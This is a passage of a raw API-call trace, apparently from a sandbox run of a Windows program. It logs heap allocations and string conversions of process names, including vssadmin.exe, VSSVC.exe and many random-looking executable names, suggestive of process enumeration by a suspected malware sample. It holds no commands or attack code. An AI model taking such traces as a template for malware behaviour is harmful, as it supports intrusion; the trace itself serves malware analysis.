returned 0xed87e8 [0036.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0xed87e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe", lpUsedDefaultChar=0x0) returned 12 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8878 [0036.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8878) returned 1 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8878 [0036.493] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8878) returned 1 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2988 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f368 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8878 [0036.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0xed87e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed88c0 [0036.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed88c0) returned 1 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed88c0 [0036.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed88c0) returned 1 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed29e8 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f3f0 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed88c0 [0036.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskeng.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskeng.exe", cchWideChar=11, lpMultiByteStr=0xed87e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskeng.exe", lpUsedDefaultChar=0x0) returned 11 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8908 [0036.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8908) returned 1 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8908 [0036.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8908) returned 1 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2a48 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f478 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8908 [0036.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="taskhost.exe", cchWideChar=12, lpMultiByteStr=0xed87e8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="taskhost.exe", lpUsedDefaultChar=0x0) returned 12 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8950 [0036.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8950) returned 1 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8950 [0036.494] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8950) returned 1 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2aa8 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f500 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8950 [0036.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.494] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component.exe", cchWideChar=13, lpMultiByteStr=0xed87e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component.exe", lpUsedDefaultChar=0x0) returned 13 [0036.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8998 [0036.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8998) returned 1 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8998 [0036.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8998) returned 1 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2b08 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f588 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8998 [0036.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pending_biz_pj.exe", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pending_biz_pj.exe", cchWideChar=18, lpMultiByteStr=0xed87e8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pending_biz_pj.exe", lpUsedDefaultChar=0x0) returned 18 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed89e0 [0036.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed89e0) returned 1 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed89e0 [0036.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed89e0) returned 1 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2b68 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f610 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed89e0 [0036.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="consequence.exe", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="consequence.exe", cchWideChar=15, lpMultiByteStr=0xed87e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="consequence.exe", lpUsedDefaultChar=0x0) returned 15 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8a28 [0036.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8a28) returned 1 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8a28 [0036.495] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8a28) returned 1 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2bc8 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8a28 [0036.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="collected_albania_snap.exe", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="collected_albania_snap.exe", cchWideChar=26, lpMultiByteStr=0xed87e8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="collected_albania_snap.exe", lpUsedDefaultChar=0x0) returned 26 [0036.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8a70 [0036.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8a70) returned 1 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8a70 [0036.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8a70) returned 1 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2c28 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f720 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8a70 [0036.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="don stations.exe", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="don stations.exe", cchWideChar=16, lpMultiByteStr=0xed87e8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="don stations.exe", lpUsedDefaultChar=0x0) returned 16 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8ab8 [0036.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8ab8) returned 1 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8ab8 [0036.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8ab8) returned 1 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2c88 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f7a8 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8ab8 [0036.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rain.exe", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rain.exe", cchWideChar=8, lpMultiByteStr=0xed87e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rain.exe", lpUsedDefaultChar=0x0) returned 8 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b00 [0036.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8b00) returned 1 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b00 [0036.496] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8b00) returned 1 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2ce8 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f830 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b00 [0036.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft_eclipse.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0036.496] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="microsoft_eclipse.exe", cchWideChar=21, lpMultiByteStr=0xed87e8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="microsoft_eclipse.exe", lpUsedDefaultChar=0x0) returned 21 [0036.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b48 [0036.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8b48) returned 1 [0036.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b48 [0036.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8b48) returned 1 [0036.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2d48 [0036.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f8b8 [0036.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b48 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="treasure_opportunities.exe", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0036.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed87e8 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="treasure_opportunities.exe", cchWideChar=26, lpMultiByteStr=0xed87e8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="treasure_opportunities.exe", lpUsedDefaultChar=0x0) returned 26 [0036.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b90 [0036.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed87e8) returned 1 [0036.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8b90) returned 1 [0036.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed8b90 [0036.497] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed8b90) returned 1 [0036.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x58) returned 0xed2da8 [0036.497] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f940 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crossword indicating hugh.exe", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crossword indicating hugh.exe", cchWideChar=29, lpMultiByteStr=0xed87e8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crossword indicating hugh.exe", lpUsedDefaultChar=0x0) returned 29 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alexander-selective-serum.exe", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alexander-selective-serum.exe", cchWideChar=29, lpMultiByteStr=0xed87e8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alexander-selective-serum.exe", lpUsedDefaultChar=0x0) returned 29 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fingernowherecontinues.exe", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fingernowherecontinues.exe", cchWideChar=26, lpMultiByteStr=0xed87e8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fingernowherecontinues.exe", lpUsedDefaultChar=0x0) returned 26 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="thumbnails-drinks.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="thumbnails-drinks.exe", cchWideChar=21, lpMultiByteStr=0xed87e8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="thumbnails-drinks.exe", lpUsedDefaultChar=0x0) returned 21 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="square_jobs.exe", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0036.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="square_jobs.exe", cchWideChar=15, lpMultiByteStr=0xed87e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_jobs.exe", lpUsedDefaultChar=0x0) returned 15 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="initialmasturbation.exe", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="initialmasturbation.exe", cchWideChar=23, lpMultiByteStr=0xed87e8, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="initialmasturbation.exe", lpUsedDefaultChar=0x0) returned 23 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tipalienenemies.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tipalienenemies.exe", cchWideChar=19, lpMultiByteStr=0xed87e8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tipalienenemies.exe", lpUsedDefaultChar=0x0) returned 19 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inputs.exe", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="inputs.exe", cchWideChar=10, lpMultiByteStr=0xed87e8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="inputs.exe", lpUsedDefaultChar=0x0) returned 10 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="customize-ss-raid.exe", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="customize-ss-raid.exe", cchWideChar=21, lpMultiByteStr=0xed87e8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="customize-ss-raid.exe", lpUsedDefaultChar=0x0) returned 21 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hats_cruise.exe", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hats_cruise.exe", cchWideChar=15, lpMultiByteStr=0xed87e8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hats_cruise.exe", lpUsedDefaultChar=0x0) returned 15 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="indeed_batch_mixing.exe", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="indeed_batch_mixing.exe", cchWideChar=23, lpMultiByteStr=0xed4868, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="indeed_batch_mixing.exe", lpUsedDefaultChar=0x0) returned 23 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WmiPrvSE.exe", cchWideChar=12, lpMultiByteStr=0xed48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WmiPrvSE.exe", lpUsedDefaultChar=0x0) returned 12 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WKXI1F~1:bin", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="WKXI1F~1:bin", cchWideChar=12, lpMultiByteStr=0xed48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WKXI1F~1:bin", lpUsedDefaultChar=0x0) returned 12 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssadmin.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vssadmin.exe", cchWideChar=12, lpMultiByteStr=0xed48b0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin.exe", lpUsedDefaultChar=0x0) returned 12 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobsync.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mobsync.exe", cchWideChar=11, lpMultiByteStr=0xed48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mobsync.exe", lpUsedDefaultChar=0x0) returned 11 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="conhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="conhost.exe", cchWideChar=11, lpMultiByteStr=0xed48b0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="conhost.exe", lpUsedDefaultChar=0x0) returned 11 [0036.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VSSVC.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VSSVC.exe", cchWideChar=9, lpMultiByteStr=0xed48b0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VSSVC.exe", lpUsedDefaultChar=0x0) returned 9 [0036.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 